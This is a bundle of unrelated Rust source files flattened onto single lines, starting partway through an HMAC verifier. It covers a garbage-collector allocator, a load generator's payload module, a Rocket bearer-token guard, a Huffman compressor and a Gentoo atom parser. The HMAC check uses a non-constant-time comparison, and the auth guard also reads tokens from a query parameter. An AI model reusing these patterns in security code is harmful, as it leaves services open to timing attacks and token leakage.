typenum::Le<<D::Core as BlockSizeUser>::BlockSize, typenum::U256>: typenum::NonZero, { pub fn new(signature: digest::Output<D::Core>, secret: &[u8]) -> Self { GenericVerifier { signature, mac: Hmac::new_from_slice(secret).unwrap(), } } pub fn verify_reset(&mut self) -> Result<(), SignatureMismatch> { let code = self.mac.finalize_reset().into_bytes(); if *code == *self.signature { Ok(()) } else { Err(SignatureMismatch { _priv: () }) } } }
use super::addr::Address; use super::{bitmap, cell::Header}; use core::alloc::Layout; use std::alloc::{alloc, dealloc}; /// Block size must be at least as large as the system page size. pub const BLOCK_SIZE: usize = 16 * 1024; /// Single atom size pub const ATOM_SIZE: usize = 16; /// Numbers of atoms per block pub const ATOMS_PER_BLOCK: usize = BLOCK_SIZE / ATOM_SIZE; /// Lower tiers maximum pub const MAX_NUMBER_OF_LOWER_TIER_CELLS: usize = 8; /// End atom offset pub const END_ATOM: usize = (BLOCK_SIZE - core::mem::size_of::<BlockHeader>()) / ATOM_SIZE; /// Block payload size pub const PAYLOAD_SIZE: usize = END_ATOM * ATOM_SIZE; /// Block header size pub const FOOTER_SIZE: usize = BLOCK_SIZE - PAYLOAD_SIZE; /// Atom alignment mask pub const ATOM_ALIGNMENT_MASK: usize = ATOM_SIZE - 1; /// Single freelist cell. #[repr(C)] pub struct FreeCell { next: *mut Self, bytes: u64, } /// Singly linked list used as free-list pub struct FreeList { head: *mut FreeCell, } impl FreeList { /// Create new freelist pub const fn new() -> Self { Self { head: core::ptr::null_mut(), } } /// Is this freelist empty? pub fn is_empty(&self) -> bool { self.head.is_null() } /// Try to pop from list pub fn allocate(&mut self) -> Address { if self.is_empty() { return Address::null(); } unsafe { let prev = self.head; self.head = (*prev).next; Address::from_ptr(prev) } } /// Push cell to list. pub fn free(&mut self, cell: Address) { unsafe { let cell = cell.to_mut_ptr::<FreeCell>(); (*cell).next = self.head; self.head = cell; } } } /// Atom representation pub type Atom = [u8; ATOM_SIZE]; /// Heap allocated block header pub struct BlockHeader { cell_size: u32, /// Free list for allocation pub freelist: FreeList, /// If this set to false then we do not try to allocate from this block. pub can_allocate: bool, /// If true we didn't sweep this block pub unswept: bool, /// Mark bitmap pub bitmap: bitmap::BitMap, /// Pointer to block. pub block: *mut Block, } pub struct Block {} impl Block { #[allow(clippy::mut_from_ref)] /// Get block header pub fn header(&self) -> &mut BlockHeader { unsafe { &mut *self.atoms().add(END_ATOM).cast() } } pub fn header_raw(&self) -> *mut BlockHeader { unsafe { self.atoms().add(END_ATOM).cast() } } /// Atom offset from pointer pub fn atom_number(&self, p: Address) -> u32 { let atom_n = self.candidate_atom_number(p); atom_n as _ } /// Atom offset from pointer, might be wrong pub fn candidate_atom_number(&self, p: Address) -> usize { (p.to_usize() - self as *const Self as usize) / ATOM_SIZE } /// Pointer to atoms pub fn atoms(&self) -> *mut Atom { self as *const Self as *mut Atom } /// Is pointer aligned to atom size? pub const fn is_atom_aligned(p: Address) -> bool { (p.to_usize() & ATOM_ALIGNMENT_MASK) == 0 } /// Try to get block from pointer pub fn from_cell(p: Address) -> *mut Self { (p.to_usize() & (!(BLOCK_SIZE - 1))) as *mut Self } pub fn destroy(&mut self) { unsafe { core::ptr::drop_in_place(self.header()); dealloc( self as *mut Self as *mut u8, Layout::from_size_align_unchecked(BLOCK_SIZE, BLOCK_SIZE), ); } } /// Allocate new block and instantiate freelist. pub fn new(cell_size: usize) -> &'static mut BlockHeader { unsafe { let memory = alloc(Layout::from_size_align_unchecked(BLOCK_SIZE, BLOCK_SIZE)).cast::<Self>(); (&*memory).header_raw().write(BlockHeader { unswept: false, can_allocate: true, cell_size: cell_size as _, bitmap: bitmap::BitMap::new(), freelist: FreeList::new(), block: memory, }); let mut count = 0; let mut freelist = FreeList::new(); (&*memory).header().for_each_cell(|cell| { cell.to_mut_ptr::<Header>().write(Header::new(0)); (*cell.to_mut_ptr::<Header>()).zap(0); count += 1; freelist.free(cell); }); (*memory).header().freelist = freelist; (&*memory).header() } } pub fn is_live(&self, cell: *const u8) -> bool { unsafe { let hdr = self.header(); if !hdr.is_atom(Address::from_ptr(cell)) { return false; } let raw = cell; let cell = &*(cell.cast::<Header>()); (raw >= self.atoms().cast() && raw <= self.atoms().add(hdr.end_atom()).cast()) && !(*cell).is_zapped() } } } impl BlockHeader { /// Atoms per cell pub const fn atoms_per_cell(&self) -> usize { ((self.cell_size as usize + ATOM_SIZE - 1) / ATOM_SIZE) as _ } /// Offset of end atom pub const fn end_atom(&self) -> usize { END_ATOM - self.atoms_per_cell() + 1 } /// Cell size pub const fn cell_size(&self) -> u32 { self.cell_size } /// Start of the block pub fn begin(&self) -> Address { Address::from_ptr(self.block) } /// Iterate through each cell. pub fn for_each_cell(&self, mut func: impl FnMut(Address)) { /*let mut i = self.cell_count(); while i > 0 { func(self.cell(i as _)); i -= 1; }*/ let mut i = 0; while i < self.end_atom() { let cell = unsafe { self.atoms().add(i) }; func(Address::from_ptr(cell)); i += self.atoms_per_cell(); } } pub fn for_each_marked_cell(&self, mut func: impl FnMut(Address)) { let mut i = 0; while i < self.end_atom() { let cell = unsafe { self.atoms().add(i) }; if self.is_marked(Address::from_ptr(cell)) { func(Address::from_ptr(cell)); } i += self.atoms_per_cell(); } } /// Return cell at `index` pub fn cell(&self, index: usize) -> Address { self.begin().offset(index * self.cell_size() as usize) } /// Cell count pub const fn cell_count(&self) -> u32 { (BLOCK_SIZE as u32 - core::mem::size_of::<Self>() as u32) / self.cell_size() } /// Try to allocate memory of `cell_size` bytes. pub fn allocate(&mut self) -> Address { let addr = self.freelist.allocate(); if addr.is_null() { self.can_allocate = false; } addr } /// Destroy this block /// Sweep this block. pub fn sweep(&mut self, _full: bool) -> bool { let mut is_empty = true; let mut freelist = FreeList::new(); let mut count = 0; let mut zcount = 0; let mut freed = 0; self.for_each_cell(|cell| unsafe { let object = &mut *cell.to_mut_ptr::<Header>(); if !self.is_marked(cell) { count += 1; if !object.is_zapped() { zcount += 1; freed += object.get_dyn().compute_size() + core::mem::size_of::<Header>(); core::ptr::drop_in_place(object.get_dyn()); object.zap(1); } freelist.free(cell); } else { is_empty = false; debug_assert!(self.is_marked(cell)); } }); self.unswept = false; self.can_allocate = count != 0; self.freelist = freelist; is_empty } /// Test and set marked. pub fn test_and_set_marked(&mut self, p: Address) -> bool { /*self.bitmap .concurrent_test_and_set(self.atom_number(p) as _)*/ let n = self.atom_number(p) as usize; if self.bitmap.get(n) { return true; } self.bitmap.set(n); false } /// Is pointer marked? pub fn is_marked(&self, p: Address) -> bool { self.bitmap.get(self.atom_number(p) as _) } /// Atom number pub fn atom_number(&self, p: Address) -> u32 { let atom_n = self.candidate_atom_number(p); atom_n as _ } pub fn is_atom(&self, p: Address) -> bool { let an = self.candidate_atom_number(p); if an % self.atoms_per_cell() != 0 { return false; } if an >= self.end_atom() { return false; } true } /// Atom number pub fn candidate_atom_number(&self, p: Address) -> usize { (p.to_usize() - self.begin().to_usize()) / ATOM_SIZE } /// Atoms pointer pub fn atoms(&self) -> *mut Atom { self.begin().to_mut_ptr() } pub fn cell_align(&self, p: *const ()) -> *const () { let base = self.atoms() as usize; let mut bits = p as usize; bits -= base; bits -= bits % self.cell_size() as usize; bits += base; bits as *const () } }
fn next_prime(primes: &mut Vec<u32>) -> u32 { let mut prime_candidate = primes[primes.len() - 1] + 2; loop { if !primes.iter().any(|x| prime_candidate % x == 0) { return prime_candidate; } prime_candidate += 2; } } pub fn nth(n: u32) -> u32 { let n = n + 1; let mut primes: Vec<u32> = vec![2, 3, 5, 7, 11, 13]; loop { if n > primes.len() as u32 { let next_prime_number = next_prime(&mut primes); primes.push(next_prime_number); } else { return primes[(n - 1) as usize]; } } }
use std::{ io::{self, Write}, path::PathBuf, }; use rand::Rng; use serde::Deserialize; pub(crate) use apache_common::ApacheCommon; pub(crate) use ascii::Ascii; pub(crate) use datadog_logs::DatadogLog; pub(crate) use dogstatsd::DogStatsD; pub(crate) use fluent::Fluent; pub(crate) use json::Json; pub(crate) use opentelemetry_log::OpentelemetryLogs; pub(crate) use opentelemetry_metric::OpentelemetryMetrics; pub(crate) use opentelemetry_trace::OpentelemetryTraces; pub(crate) use splunk_hec::{Encoding as SplunkHecEncoding, SplunkHec}; pub(crate) use statik::Static; pub(crate) use syslog::Syslog5424; pub(crate) use trace_agent::TraceAgent; mod apache_common; mod ascii; mod common; mod datadog_logs; pub(crate) mod dogstatsd; mod fluent; mod json; mod opentelemetry_log; mod opentelemetry_metric; mod opentelemetry_trace; mod splunk_hec; mod statik; mod syslog; mod trace_agent; /// Errors related to serialization #[derive(thiserror::Error, Debug)] pub(crate) enum Error { /// MsgPack payload could not be encoded #[error("MsgPack payload could not be encoded: {0}")] MsgPack(#[from] rmp_serde::encode::Error), /// Json payload could not be encoded #[error("Json payload could not be encoded: {0}")] Json(#[from] serde_json::Error), /// IO operation failed #[error("IO operation failed: {0}")] Io(#[from] io::Error), } pub(crate) trait Serialize { /// Write bytes into writer, subject to `max_bytes` limitations. /// /// # Errors /// /// Most implementations are serializing data in some way. The errors that /// result come from serialization crackups. fn to_bytes<W, R>(&self, rng: R, max_bytes: usize, writer: &mut W) -> Result<(), Error> where R: Rng + Sized, W: Write; } /// Sub-configuration for `TraceAgent` format #[derive(Debug, Deserialize, Clone, Copy, PartialEq)] #[serde(rename_all = "snake_case")] pub enum Encoding { /// Use JSON format Json, /// Use MsgPack binary format #[serde(alias = "msgpack")] MsgPack, } /// Configuration for `Payload` #[derive(Debug, Deserialize, Clone, PartialEq)] #[serde(rename_all = "snake_case")] pub enum Config { /// Generates Fluent messages Fluent, /// Generates syslog5424 messages Syslog5424, /// Generates Splunk HEC messages SplunkHec { encoding: SplunkHecEncoding }, /// Generates Datadog Logs JSON messages DatadogLog, /// Generates a static, user supplied data Static { /// Defines the file path to read static variant data from. Content is /// assumed to be line-oriented but no other claim is made on the file. static_path: PathBuf, }, /// Generates a line of printable ascii characters Ascii, /// Generates a json encoded line Json, /// Generates a Apache Common log lines ApacheCommon, /// Generates OpenTelemetry traces OpentelemetryTraces, /// Generates OpenTelemetry logs OpentelemetryLogs, /// Generates OpenTelemetry metrics OpentelemetryMetrics, /// Generates DogStatsD #[serde(rename = "dogstatsd")] DogStatsD(crate::payload::dogstatsd::Config), /// Generates TraceAgent payloads in JSON format TraceAgent(Encoding), } #[derive(Debug)] #[allow(dead_code, clippy::large_enum_variant)] pub(crate) enum Payload { ApacheCommon(ApacheCommon), Ascii(Ascii), DatadogLog(DatadogLog), Fluent(Fluent), Json(Json), SplunkHec(SplunkHec), Static(Static), Syslog(Syslog5424), OtelTraces(OpentelemetryTraces), OtelLogs(OpentelemetryLogs), OtelMetrics(OpentelemetryMetrics), DogStatsdD(DogStatsD), TraceAgent(TraceAgent), } impl Serialize for Payload { fn to_bytes<W, R>(&self, rng: R, max_bytes: usize, writer: &mut W) -> Result<(), Error> where W: Write, R: Rng + Sized, { match self { Payload::ApacheCommon(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::Ascii(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::DatadogLog(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::Fluent(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::Json(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::SplunkHec(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::Static(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::Syslog(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::OtelTraces(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::OtelLogs(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::OtelMetrics(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::DogStatsdD(ser) => ser.to_bytes(rng, max_bytes, writer), Payload::TraceAgent(ser) => ser.to_bytes(rng, max_bytes, writer), } } } /// Calculates the quotient of `lhs` and `rhs`, rounding the result towards /// positive infinity. /// /// Adapted from rustc `int_roundings` implementation. Replace upon /// stabilization: <https://github.com/rust-lang/rust/issues/88581> /// /// # Panics /// /// This function will panic if `rhs` is 0 or the division results in overflow. const fn div_ceil(lhs: usize, rhs: usize) -> usize { let d = lhs / rhs; let r = lhs % rhs; if r > 0 && rhs > 0 { d + 1 } else { d } } /// Generate instance of `I` from source of randomness `S`. pub(crate) trait Generator<I> { fn generate<R>(&self, rng: &mut R) -> I where R: rand::Rng + ?Sized; }
// Copyright (c) The Starcoin Core Contributors // SPDX-License-Identifier: Apache-2.0 pub use block_executor::block_execute; pub use executor::*; pub use starcoin_transaction_builder::{ build_accept_coin_txn, build_transfer_from_association, build_transfer_txn, build_transfer_txn_by_coin_type, create_signed_txn_with_association_account, encode_create_account_script, encode_transfer_script, peer_to_peer_txn_sent_as_association, TXN_RESERVED, }; mod block_executor; mod executor; #[cfg(test)] pub mod executor_test;
use aoc_runner_derive::{aoc, aoc_generator}; #[aoc_generator(day12)] fn parse_input_day11(input: &str) -> Result<Vec<String>, String> { Ok(input.lines().map(|l| l.to_owned()).collect()) } fn rotate_left(facing: &mut [isize; 2], amount: isize) { match amount { 90 => { let tmp = facing[0]; facing[0] = -facing[1]; facing[1] = tmp; } 180 => { facing[0] = -facing[0]; facing[1] = -facing[1]; } 270 => { let tmp = facing[0]; facing[0] = facing[1]; facing[1] = -tmp; } _ => panic!("Unknown amount of rotation"), }; } #[aoc(day12, part1)] fn part1(walks: &[String]) -> isize { let mut current = [0, 0]; let mut facing = [1, 0]; for walk in walks { let (direction, amount) = walk.split_at(1); let amount = amount.parse().unwrap_or(0); match direction { "N" => current[1] += amount, "S" => current[1] -= amount, "E" => current[0] += amount, "W" => current[0] -= amount, "F" => { current[0] += facing[0] * amount; current[1] += facing[1] * amount } "L" => rotate_left(&mut facing, amount), "R" => rotate_left(&mut facing, 360 - amount), _ => panic!("Unknown direction!"), } } current.iter().map(|v| v.abs()).sum() } #[aoc(day12, part2)] fn part2(walks: &[String]) -> isize { let mut current = [0, 0]; let mut facing = [10, 1]; for walk in walks { let (direction, amount) = walk.split_at(1); let amount = amount.parse().unwrap_or(0); match direction { "N" => facing[1] += amount, "S" => facing[1] -= amount, "E" => facing[0] += amount, "W" => facing[0] -= amount, "F" => { current[0] += facing[0] * amount; current[1] += facing[1] * amount } "L" => rotate_left(&mut facing, amount), "R" => rotate_left(&mut facing, 360 - amount), _ => panic!("Unknown direction!"), } } current.iter().map(|v| v.abs()).sum() }
use super::credentials::Credentials; use super::errors::FirebaseError; use super::sessions; use rocket::{http::Status, request, Outcome, State}; pub struct ApiKey(pub sessions::user::Session); impl<'a, 'r> request::FromRequest<'a, 'r> for ApiKey { type Error = FirebaseError; fn from_request(request: &'a request::Request<'r>) -> request::Outcome<Self, Self::Error> { let r = request .headers() .get_one("Authorization") .map(|f| f.to_owned()) .or(request.get_query_value("auth").and_then(|r| r.ok())); if r.is_none() { return Outcome::Failure((Status::BadRequest, FirebaseError::Generic(""))); } let db = request .guard::<State<Credentials>>() .success_or(FirebaseError::Generic("")); if db.is_err() { return Outcome::Failure((Status::BadRequest, db.err().unwrap())); } let bearer = r.unwrap(); if !bearer.starts_with("Bearer ") { return Outcome::Failure(( Status::BadRequest, FirebaseError::Generic("Only bearer authorization accepted"), )); } let bearer = &bearer[7..]; let session = sessions::user::Session::by_access_token(&db.unwrap(), bearer); if session.is_err() { return Outcome::Failure((Status::Unauthorized, session.err().unwrap())); } Outcome::Success(ApiKey(session.unwrap())) } }
use super::*; pub fn ty(input: Input) -> IResult<Type> { var_type .or(infer_type) .or(fn_type) .or(paren_type) .or(tuple_type) .parse(input) } pub fn ascription(input: Input) -> IResult<Ascription> { let (input, colon) = colon.parse(input)?; let (input, ty) = ty.parse(input)?; Ok((input, Ascription { colon, ty })) } pub fn ret_type(input: Input) -> IResult<RetType> { let (input, thin_arrow) = thin_arrow.parse(input)?; let (input, ty) = ty.parse(input)?; Ok(( input, RetType { thin_arrow, ty: box ty, }, )) } fn var_type(input: Input) -> IResult<Type> { var.map(Type::Var).parse(input) } fn infer_type(input: Input) -> IResult<Type> { underscore.map(Type::Infer).parse(input) } fn paren_type(input: Input) -> IResult<Type> { paren(ty).map(Type::Paren).parse(input) } fn tuple_type(input: Input) -> IResult<Type> { tuple(ty).map(Type::Tuple).parse(input) } fn fn_type(input: Input) -> IResult<Type> { let (input, args) = paren(punctuated0(ty, comma)).parse(input)?; let (input, ret) = ret_type.parse(input)?; Ok((input, Type::Fn { args, ret })) } #[cfg(test)] mod tests { use super::*; test_parse!(var_type, ty, r#"Z"#); test_parse!(infer_type, ty, r#"_"#); test_parse!(tuple0_type, ty, r#"()"#); test_parse!(tuple1_type, ty, r#"(T,)"#); test_parse!(tuple2_type, ty, r#"(T,V)"#); test_parse!(paren_type, ty, r#"(T)"#); test_parse!(fn_type, ty, r#"(T) -> V"#); test_parse!(nested_fn_type, ty, r#"(A) -> (B) -> C"#); }
use ash::version::*; use ash::extensions; use std::marker::PhantomData; use std::ops::Deref; pub struct SafeSwapchain<'device, I: InstanceV1_0 + 'device, D: DeviceV1_0 + 'device> { swapchain: extensions::Swapchain, phantom_instance: PhantomData<&'device I>, phantom_device: PhantomData<&'device D> } impl<'device, I: InstanceV1_0, D: DeviceV1_0> SafeSwapchain<'device, I, D> { pub fn new(instance: &'device I, device: &'device D) -> Result<SafeSwapchain<'device, I, D>, Vec<&'static str>> { extensions::Swapchain::new(instance, device).map(|unsafe_swapchain| SafeSwapchain { swapchain: unsafe_swapchain, phantom_instance: PhantomData, phantom_device: PhantomData }) } } impl<'device, I: InstanceV1_0, D: DeviceV1_0> Deref for SafeSwapchain<'device, I, D> { type Target = extensions::Swapchain; fn deref(&self) -> &extensions::Swapchain { &self.swapchain } }
// Copyright (c) 2016, <daggerbot@gmail.com> // This software is available under the terms of the zlib license. // See COPYING.md for more information. use std::cell::RefCell; use std::collections::VecDeque; use std::rc::Rc; use device::{Device, DeviceBridge, DevicePriv}; use error::Result; use event::{Event, PollResult, Timeout}; use id::IdManager; use imp::DisplayProvider; use util::{Get, GetProvider}; /// Implementation trait for `Display`. pub trait DisplayBridge : Sized { type Device : DeviceBridge; fn default_device (&self) -> Result<Rc<Self::Device>>; fn next_event (&self, timeout: Timeout) -> PollResult; fn open () -> Result<Self>; } /// Main display subsystem structure. pub struct Display { provider: DisplayProvider, id_manager: Rc<IdManager>, event_queue: RefCell<VecDeque<Event>>, } impl Display { pub fn default_device (&self) -> Result<Device> { Device::default(self) } pub fn open () -> Result<Display> { Ok(Display { provider: try!(DisplayProvider::open()), id_manager: Rc::new(IdManager::new()), event_queue: RefCell::new(VecDeque::new()), }) } pub fn wait_event (&self) -> Result<Event> { if let Some(event) = self.event_queue.borrow_mut().pop_front() { return Ok(event); } match self.provider.next_event(Timeout::Never) { PollResult::Ok(event) => Ok(event), PollResult::Timeout => unreachable!(), PollResult::PollErr(err) => Err(err), PollResult::ProcErr(err) => Err(err), } } } #[doc(hidden)] impl Get<Rc<IdManager>> for Display { fn get (&self) -> Rc<IdManager> { self.id_manager.clone() } } #[doc(hidden)] impl GetProvider for Display { type Provider = DisplayProvider; fn provider (&self) -> &DisplayProvider { &self.provider } } impl PartialEq for Display { fn eq (&self, rhs: &Display) -> bool { self as *const _ == rhs as *const _ } }
use std::env; use std::io::Error as IOError; use std::io::Read; use std::io::Write; use std::fs::File; mod datafile; mod huffmantree; mod byteweight; mod compression; mod byteconvert; use datafile::DataFile; use huffmantree::HuffmanTree; pub const APP_NAME: &'static str = "huffman"; type Compress = bool; type Filepaths = Vec<String>; pub type Data = Vec<u8>; //simple sequence of bytes pub type FlattenedData = Vec<u8>; //sequence of 0/1 fn main() { //parse arguments let (compress, filepaths) = match parse_args() { Some(v) => v, None => { print_help(); return; } }; //read file content let files: Vec<DataFile> = match read_files(filepaths) { Ok(v) => v, Err(e) => { println!("IO error: {}", e); return; } }; if compress { for file in files { let filepath = file.get_path(); let new_filepath = get_compressed_file_name(filepath.clone()); let original_length = file.get_size(); println!("compressing '{}'", file.get_path()); let (compressed_data, huffman_tree) = compression::compress(file); println!("writing '{}'", new_filepath); match save_compressed_file(original_length, compressed_data, huffman_tree, filepath.clone()) { Ok(_) => {}, Err(e) => { println!("IO error: '{}'", e); } } } } else { for file in files { let filepath = file.get_path(); let old_filepath = get_decompressed_file_name(filepath.clone()); println!("decompressing '{}'", filepath); let decompressed_data = match compression::decompress(file.into_data()) { Some(v) => v, None => { println!("error while decompressing. incorrect file format?"); break; } }; println!("writing '{}'", old_filepath); match save_decompressed_file(decompressed_data, old_filepath) { Ok(_) => {}, Err(e) => { println!("IO error: '{}'", e); } } } } } //file structure: //-first 4 bits -> u64 representing the number of bytes that are stored //-huffman tree //-data fn save_compressed_file(original_length: usize, mut data: Data, tree: HuffmanTree, filepath: String) -> Result<usize, IOError> { let mut content = Vec::new(); content.append(&mut byteconvert::u64_to_u8(original_length as u64)); let lookup_map = tree.get_lookup_map(); content.append(&mut huffmantree::lookup_map_to_bytes(lookup_map)); content.append(&mut data); let mut file = try!(File::create(get_compressed_file_name(filepath))); try!(file.write_all(content.as_slice())); Ok(0) } fn save_decompressed_file(data: Data, filepath: String) -> Result<usize, IOError> { let mut file = try!(File::create(filepath)); try!(file.write_all(data.as_slice())); Ok(0) } //Data: Vec<u8>, Error: IO Error //read all bytes of all given files fn read_files(paths: Filepaths) -> Result<Vec<DataFile>, IOError> { let mut result: Vec<DataFile> = Vec::new(); for path in paths { let mut data: Data = Vec::new(); //try to open the file, error when it doesn't exist let mut file = match File::open(path.clone()) { Ok(v) => v, Err(e) => { print!("error on file: '{}' -> ", path); return Err(e); } }; //try to read the file, error on read error match file.read_to_end(&mut data) { Ok(_) => { println!("reading file: '{}'", path); }, Err(e) => { print!("error on file: '{}' -> ", path); return Err(e) } }; let datafile = DataFile::from(data, path.clone()); result.push(datafile); } Ok(result) } //returns: (Compress, Filepaths) as (bool, Vec<String>) //reads commandline arguments fn parse_args() -> Option<(Compress, Filepaths)> { let mut args = env::args(); //skip the execution path, which is always the first arg //unwrap because one arg is always given let _ = args.next().expect("what happened?"); //check for first argument -> compress/decompress let compress_arg = match args.next() { Some(v) => v, None => return None }; let mut compress: bool = false; if compress_arg == "compress" { compress = true; } else if compress_arg != "decompress" { println!("unknown subcommand: {}\n", compress_arg); return None; } let mut filepaths = Vec::new(); for arg in args { filepaths.push(arg); } if filepaths.len() == 0 { return None; } Some((compress, filepaths)) } fn print_help() { println!(">> {} compression tool <<", APP_NAME); println!(""); println!("USAGE:"); println!("{} <compress|decompress> <File1> [File2] [FileN]", APP_NAME); } //adds file extension fn get_compressed_file_name(mut str: String) -> String { str.push_str(".comp"); str } fn get_decompressed_file_name(mut str: String) -> String { if str.ends_with(".comp") { return str.replace(".comp", ""); } else { str.push_str(".decomp"); return str; } }
pub mod dfa; pub mod nfa; pub mod re;
//! A representation of a gentoo atom specification /// A Use flag constraint on a Gentoo Atom Specification #[derive(Debug, Clone)] pub struct UseSpec { pub(crate) modifier: Option<String>, pub(crate) flag: String, pub(crate) suffix: Option<String>, } /// A Gentoo Atom Specification #[derive(Debug, Clone)] pub struct AtomSpec { pub(crate) category: String, pub(crate) package: String, pub(crate) operator: Option<String>, pub(crate) version: Option<String>, pub(crate) revision: Option<String>, pub(crate) slot: Option<String>, pub(crate) slot_op: Option<String>, pub(crate) required_use: Option<Vec<UseSpec>>, } use crate::{ atom::{Atom, Category, Package}, err, }; use std::{ cmp::Ordering, fmt::{self, Display}, str::FromStr, string::ToString, }; impl Display for UseSpec { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!( f, "{}{}{}", self.modifier.to_owned().unwrap_or_else(|| "".to_owned()), self.flag, self.suffix.to_owned().unwrap_or_else(|| "".to_owned()) ) } } impl Display for AtomSpec { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!( f, "{operator}{category}/{package}{version}{slot}{useflags}", operator = self.operator.to_owned().unwrap_or_else(|| "".to_owned()), category = self.category, package = self.package, version = self.version.to_owned().map_or_else( || "".to_owned(), |v| { self.revision.to_owned().map_or_else( || format!("-{}", &v), |rv| format!("-{}-r{}", &v, &rv), ) } ), slot = self.slot.to_owned().map_or_else( || "".to_owned(), |s| { self.slot_op.to_owned().map_or_else( || format!(":{}", s), |op| format!(":{}{}", s, op), ) } ), useflags = self.required_use.to_owned().map_or_else( || "".to_owned(), |uf| { if uf.is_empty() { "".to_owned() } else { format!( "[{}]", uf.iter() .map(ToString::to_string) .collect::<Vec<String>>() .join(",") ) } } ) ) } } impl FromStr for UseSpec { type Err = err::AtomParseError; fn from_str(s: &str) -> Result<Self, Self::Err> { use crate::atom::regex; match regex::USE_FLAG_SPEC.captures(s) { None => unimplemented!(), Some(rparts) => Ok(UseSpec { modifier: rparts .name("prefix") .map(|i| i.as_str().to_owned()), flag: rparts .name("flag") .map(|i| i.as_str().to_owned()) .unwrap(), suffix: rparts .name("suffix") .map(|i| i.as_str().to_owned()), }), } } } impl FromStr for AtomSpec { type Err = err::AtomParseError; fn from_str(s: &str) -> Result<Self, Self::Err> { use crate::{atom::regex, err::AtomParseError}; let parts: Vec<&str> = s.splitn(2, '/').collect(); if parts.len() != 2 { return Err(AtomParseError::BadAtomPair(s.to_owned())); } let (operator, category) = match regex::ATOM_SPEC_CATEGORY .captures(parts[0]) { None => { return Err(AtomParseError::BadCategory(parts[0].to_owned())); }, Some(rparts) => ( rparts.name("operator").map(|i| i.as_str().to_owned()), rparts.name("category").map(|i| i.as_str().to_owned()), ), }; let (package, version, revision, slot, slot_op, required_use) = match regex::ATOM_SPEC_PNV.captures(parts[1]) { None => { return Err(AtomParseError::BadPackageVersion( parts[1].to_owned(), )); }, Some(rparts) => { let req_use = match rparts.name("use_flags") { Some(i) => { let iparts: Vec<&str> = i.as_str().split(',').collect(); let mut oparts: Vec<UseSpec> = Vec::with_capacity(iparts.len()); for p in iparts { match p.parse::<UseSpec>() { Err(e) => return Err(e), Ok(x) => oparts.push(x), } } Some(oparts) }, None => None, }; ( rparts.name("package").map(|i| i.as_str().to_owned()), rparts.name("version").map(|i| i.as_str().to_owned()), rparts .name("revision") .map(|i| i.as_str().to_owned()), rparts.name("slot").map(|i| i.as_str().to_owned()), rparts.name("slot_op").map(|i| i.as_str().to_owned()), req_use, ) }, }; match (&operator, &version) { (Some(my_op), None) => { return Err(AtomParseError::IllegalOperator( my_op.to_owned(), parts[0].to_owned(), s.to_owned(), )) }, (None, Some(my_version)) => { return Err(AtomParseError::IllegalVersion( my_version.to_owned(), parts[1].to_owned(), s.to_owned(), )) }, _ => (), } Ok(AtomSpec { category: category.unwrap(), package: package.unwrap(), version, operator, required_use, revision, slot, slot_op, }) } } impl From<AtomSpec> for Category { fn from(a: AtomSpec) -> Self { Category { category: a.category } } } impl From<AtomSpec> for Package { fn from(a: AtomSpec) -> Self { Package { category: a.category, package: a.package } } } impl PartialEq<Category> for AtomSpec { fn eq(&self, _other: &Category) -> bool { false } } impl PartialEq<Package> for AtomSpec { fn eq(&self, _other: &Package) -> bool { false } } impl PartialEq<Atom> for AtomSpec { fn eq(&self, _other: &Atom) -> bool { false } } impl PartialEq<AtomSpec> for Category { fn eq(&self, _other: &AtomSpec) -> bool { false } } impl PartialEq<AtomSpec> for Package { fn eq(&self, _other: &AtomSpec) -> bool { false } } impl PartialEq<AtomSpec> for Atom { fn eq(&self, _other: &AtomSpec) -> bool { false } } impl PartialEq for AtomSpec { fn eq(&self, other: &AtomSpec) -> bool { self.category == other.category && self.package == other.package } } impl PartialOrd<Category> for AtomSpec { fn partial_cmp(&self, other: &Category) -> Option<Ordering> { chain_cmp!( self.category.partial_cmp(&other.category), Some(Ordering::Greater) ) } } impl PartialOrd<Package> for AtomSpec { fn partial_cmp(&self, other: &Package) -> Option<Ordering> { chain_cmp!( self.category.partial_cmp(&other.category), self.package.partial_cmp(&other.package), Some(Ordering::Greater) ) } } impl PartialOrd<Atom> for AtomSpec { fn partial_cmp(&self, other: &Atom) -> Option<Ordering> { // Cat < Package < Atom < AtomSpec chain_cmp!( self.category.partial_cmp(&other.category), self.package.partial_cmp(&other.package), // Atoms with greater versions sort after this // but otherwise, Atoms all sort before this // Atoms with equal versions continue comparing match &self.version { Some(v) => v.partial_cmp(&other.version), None => Some(Ordering::Less), }, // If versions are equal, then revision compare // if one has a revision, the one with the revision is greater // if both lack revisions, the AtomSpec comes last match (&self.revision, &other.revision) { (Some(rv), Some(orv)) => rv.partial_cmp(&orv), (Some(_), None) => Some(Ordering::Greater), (None, Some(_)) => Some(Ordering::Less), _ => Some(Ordering::Greater), }, Some(Ordering::Greater) ) } } impl PartialOrd<AtomSpec> for Category { fn partial_cmp(&self, other: &AtomSpec) -> Option<Ordering> { other.partial_cmp(self).map(Ordering::reverse) } } impl PartialOrd<AtomSpec> for Package { fn partial_cmp(&self, other: &AtomSpec) -> Option<Ordering> { other.partial_cmp(self).map(Ordering::reverse) } } impl PartialOrd<AtomSpec> for Atom { fn partial_cmp(&self, other: &AtomSpec) -> Option<Ordering> { other.partial_cmp(self).map(Ordering::reverse) } } impl PartialOrd for AtomSpec { fn partial_cmp(&self, other: &AtomSpec) -> Option<Ordering> { // Cat < Package < Atom < AtomSpec chain_cmp!( self.category.partial_cmp(&other.category), self.package.partial_cmp(&other.package), // Can't sort with other AtomSpec's with same <cat>/<pn> None ) } }
